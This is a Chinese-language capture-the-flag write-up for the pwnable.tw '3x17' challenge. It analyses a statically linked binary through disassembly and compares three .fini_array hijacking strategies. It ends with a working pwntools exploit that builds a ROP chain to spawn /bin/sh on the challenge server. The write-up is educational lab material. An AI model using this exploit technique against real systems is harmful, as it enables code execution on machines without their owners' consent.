半年没碰pwnable了,一位朋友让我看的这个题
分值不高,也挺简单
不过踩了两个坑(方案二三)觉得比较有意思,记录一下
Analyze:
静态编译,便于分析,添加sig:
python lscan.py -f ./3x17 -S ./amd64/sig/
#不过这题没什么用
题目保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found#静态编译,存在canary保护,只是没有检测到
NX: NX enabled
PIE: No PIE (0x400000)
程序:
int result; // eax
int v4; // eax
char *v5; // ST08_8
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
result = (unsigned __int8)++read_flag;
if ( read_flag == 1 )
{
write(1u, "addr:", 5uLL);
read(0, &buf, 0x18uLL);
stroll((__int64)&buf);
v5 = (char *)v4;
write(1u, "data:", 5uLL);
read(0, v5, 0x18uLL);
result = 0;
}
return result;
对应汇编:
.text:0000000000401B6D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401B6D main proc near ; DATA XREF: start+1D↑o
.text:0000000000401B6D
.text:0000000000401B6D var_28 = qword ptr -28h
.text:0000000000401B6D buf = byte ptr -20h
.text:0000000000401B6D var_8 = qword ptr -8
.text:0000000000401B6D
.text:0000000000401B6D ; __unwind {
.text:0000000000401B6D push rbp
.text:0000000000401B6E mov rbp, rsp
.text:0000000000401B71 sub rsp, 30h
.text:0000000000401B75 mov rax, fs:28h
.text:0000000000401B7E mov [rbp+var_8], rax
.text:0000000000401B82 xor eax, eax
.text:0000000000401B84 movzx eax, cs:read_flag
.text:0000000000401B8B add eax, 1
.text:0000000000401B8E mov cs:read_flag, al
.text:0000000000401B94 movzx eax, cs:read_flag
.text:0000000000401B9B cmp al, 1
.text:0000000000401B9D jnz loc_401C35
.text:0000000000401BA3 mov [rbp+var_28], 0
.text:0000000000401BAB mov edx, 5 ; count
.text:0000000000401BB0 lea rsi, buf ; "addr:"
.text:0000000000401BB7 mov edi, 1 ; fd
.text:0000000000401BBC mov eax, 0
.text:0000000000401BC1 call write
.text:0000000000401BC6 lea rax, [rbp+buf]
.text:0000000000401BCA mov edx, 18h ; count
.text:0000000000401BCF mov rsi, rax ; buf
.text:0000000000401BD2 mov edi, 0 ; fd
.text:0000000000401BD7 mov eax, 0
.text:0000000000401BDC call read
.text:0000000000401BE1 lea rax, [rbp+buf]
.text:0000000000401BE5 mov rdi, rax
.text:0000000000401BE8 mov eax, 0
.text:0000000000401BED call stroll
.text:0000000000401BF2 cdqe
.text:0000000000401BF4 mov [rbp+var_28], rax
.text:0000000000401BF8 mov edx, 5 ; count
.text:0000000000401BFD lea rsi, aData ; "data:"
.text:0000000000401C04 mov edi, 1 ; fd
.text:0000000000401C09 mov eax, 0
.text:0000000000401C0E call write
.text:0000000000401C13 mov rax, [rbp+var_28]
.text:0000000000401C17 mov edx, 18h ; count
.text:0000000000401C1C mov rsi, rax ; buf
.text:0000000000401C1F mov edi, 0 ; fd
.text:0000000000401C24 mov eax, 0
.text:0000000000401C29 call read
.text:0000000000401C2E mov eax, 0
.text:0000000000401C33 jmp short loc_401C37
.text:0000000000401C35 ; ---------------------------------------------------------------------------
.text:0000000000401C35
.text:0000000000401C35 loc_401C35: ; CODE XREF: main+30↑j
.text:0000000000401C35 nop
.text:0000000000401C36 nop
.text:0000000000401C37
.text:0000000000401C37 loc_401C37: ; CODE XREF: main+C6↑j
.text:0000000000401C37 mov rcx, [rbp+var_8]
.text:0000000000401C3B xor rcx, fs:28h
.text:0000000000401C44 jz short locret_401C4B
.text:0000000000401C46 call ___stack_chk_fail
.text:0000000000401C4B ; ---------------------------------------------------------------------------
.text:0000000000401C4B
.text:0000000000401C4B locret_401C4B: ; CODE XREF: main+D7↑j
.text:0000000000401C4B leave
.text:0000000000401C4C retn
.text:0000000000401C4C ; } // starts at 401B6D
.text:0000000000401C4C main endp
可以看到:
程序静态编译,没有地址随机化,且为任意地址写
.bss段的read_flag记录此函数调用次数,只有read_flag归零时才可再次写
搜索"exit 0"(system function)、"/bin/sh"、"LINUX - sys_execv"(ida自动注释)......都没有结果
所以应该不存在后门,需要自己构造ROP
或者调用mprotect等方法更改内存权限执行shellcode(下下策)
首先跟踪整个程序流找到可以控制程序流的地方:
.text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960
其实还有一个地方:
.text:000000000040F7FF mov rdx, [rax+18h]
.text:000000000040F803 mov qword ptr [rax+10h], 0
.text:000000000040F80B mov esi, ebp
.text:000000000040F80D ror rdx, 11h
.text:000000000040F811 xor rdx, fs:30h
.text:000000000040F81A mov rdi, [rax+20h]
.text:000000000040F81E call rdx
这里rax=0x4b98e0,也可以写rax+0x18位置,不过存在xor rdx, fs:30h,无法预知fs:30h,所以此处不行
IP在0x402988时:
RBX 0x1
RBP 0x4b40f0->.fini_array
所以只要覆盖.fini_array即可劫持程序流
方案一
首先可以确定:
.text:0000000000401B84 movzx eax, cs:read_flag
.text:0000000000401B8B add eax, 1
.text:0000000000401B8E mov cs:read_flag, al
.text:0000000000401B94 movzx eax, cs:read_flag
.text:0000000000401B9B cmp al, 1
可以想方法通过一个循环来使read_flag字节0x100循环自动归零(0xFF+1->0):
我们将0x4b40f0位置覆盖为0x401b6d(main function addr)
继续跟踪流,当函数返回时,rbx依然为1:
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1 #rbx=0
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988 #跳转
------->
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
#即调用0x4b40f0处的函数地址
因此可以将0x4b40f0重新覆盖为sub_402960
形成sub_402960和main function之间的循环来不断写地址
可以无限次写入后,便可以布置rop chain
而后只需要中断循环并迁移栈段即可:
将0x4b40f0覆盖为0x401c4b:
.text:0000000000401C4B leave
.text:0000000000401C4C retn
此时:
rbp=0x4b40f0,rbx=0
call qword ptr [rbp+rbx*8+0] #0x401c4b
->leave #rbp=0x401c4b,rsp=0x4b40f8
->ret #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100
->push rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8
->mov rbp, rsp# rbp=0x4b40f8
......
......
->leave #rbp=0x401c4b,rsp=0x4b4100
->ret #return 2 ropchain
方案二
同样是循环main function来无限写
不过循环地方不同:
可以构造.fini_array:
0x4b40f0->0x4b40f0
0x4b40f8->0x401b71#sub rsp,0x30......
这里主要是先进行栈段迁移,再利用不进行push rbp操作造成栈段退出leave ret时rbp依然保持我们构造的fake_rbp,从而造成循环
不过这个方案不可行,当循环进可写时,注意到此时:
RBP 0x4b40f0
RSP 0x4b40c8
栈帧长度并不是0x30,而是0x28->因为我们构造循环时没有进行"push rbp mov rbp,rsp",而是直接sub rsp,0x30
但是注意到main function中:
.text:0000000000401BE1 lea rax, [rbp+buf]
.text:0000000000401BE5 mov rdi, rax
.text:0000000000401BE8 mov eax, 0
.text:0000000000401BED call stroll
.text:0000000000401BF2 cdqe
.text:0000000000401BF4 mov [rbp+var_28], rax
.text:0000000000401BF8 mov edx, 5 ; count
.text:0000000000401BFD lea rsi, aData ; "data:"
.text:0000000000401C04 mov edi, 1 ; fd
.text:0000000000401C09 mov eax, 0
.text:0000000000401C0E call write
.text:0000000000401C13 mov rax, [rbp+var_28]
.text:0000000000401C17 mov edx, 18h ; count
.text:0000000000401C1C mov rsi, rax ; buf
.text:0000000000401C1F mov edi, 0 ; fd
.text:0000000000401C24 mov eax, 0
.text:0000000000401C29 call read
我们任意地址读的地址是在保存在rbp+var_28中,其间调用了一次write,因而会将返回地址覆盖到rbp+var_28处,从而导致后面操作失败,因此本方案需要main function的栈帧提高8 bytes(sub rsp,0x38)
方案三
首先考虑并排除的方案
可以让返回地址为(.fini_array)
.text:0000000000401BA3 mov [rbp+var_28], 0
此时已进行完read_flag位的检测,不过要想办法绕过canary:
跟踪___stack_chk_fail程序流就可以发现有几处通过.plt表实现调用:
例如:
.text:000000000041337F call sub_4010C0
and
.text:00000000004132F9 call sub_401058
所以第一次劫持程序流后可以修改对应got表中的数据实现永久劫持(只需要永远不绕过canary)
这样直接可以无限次地址写
不过这样便无法迁移栈段,而且:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r--p 1000 0 /home/regedit/pwnable/3x17
0x401000 0x48f000 r-xp 8e000 1000 /home/regedit/pwnable/3x17
0x48f000 0x4b3000 r--p 24000 8f000 /home/regedit/pwnable/3x17
0x4b4000 0x4ba000 rw-p 6000 b3000 /home/regedit/pwnable/3x17
0x4ba000 0x4bb000 rw-p 1000 0
0x1841000 0x1864000 rw-p 23000 0 [heap]
0x7fff7995a000 0x7fff7997c000 rw-p 22000 0 [stack]
0x7fff799d5000 0x7fff799d8000 r--p 3000 0 [vvar]
0x7fff799d8000 0x7fff799da000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
可写的地方没有执行权限,所以也只是任意地址写,无法再次将程序流劫持到别的地方(不知道栈地址,没办法改rsp/rbp/返回地址)
不过实际上可以考虑先迁移栈段再劫持___stack_chk_fail,但是不能用方案一二的方法迁移(因为还会导向方案二的错误):
首先canary为了防止leak,低字节总为\x00
可以利用这个特点
注意到:
.text:0000000000401B75 mov rax, fs:28h
.text:0000000000401B7E mov [rbp+var_8], rax
所以可以首先劫持程序流到0x401b75(利用.fini_array):
覆盖:
0x4b40f0->0x4B9338
0x4b40f8->0x401b75
此时:
leave->
rbp=0x4b9338
rsp=0x4b40f8
ret->
rip=*rsp=0x401b75
而后:
.text:0000000000401B75 mov rax, fs:28h
.text:0000000000401B7E mov [rbp+var_8], rax
->*rbp-0x8=*0x4b9330=canary
&(byte *)read_flag=0x4b9330
read_flag即为\x00
此时迁移了栈段,然后此时read_flag=0,即可获得一次写机会(写got表),注意此时read_flag++,canary就会改变,从而造成___stack_chk_fail,成功劫持程序流并控制了栈段,但是方案依旧不可行,因为栈向低处增长,所以当第二次写的时候因为___stack_chk_fail过程中栈顶(rsp)不断减小的关系,会到达0x4b4000处,此时会有一个push操作,而addr<0x4b4000不具有可写权限,会导致程序崩溃,因而方案三需要更大的可写空间
虽然二三不可行,不过也只是程序本身特点造成,思路应该也可以,毕竟我先考虑的二三,所以记录一下orz
最终EXP为方案一
EXP:
from pwn import *
#context.log_level="debug"
#p=process("3x17")
p=remote("chall.pwnable.tw",10105)
#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401b6d))
#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")
#get_shell
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x401c4b))
p.interactive()
网友评论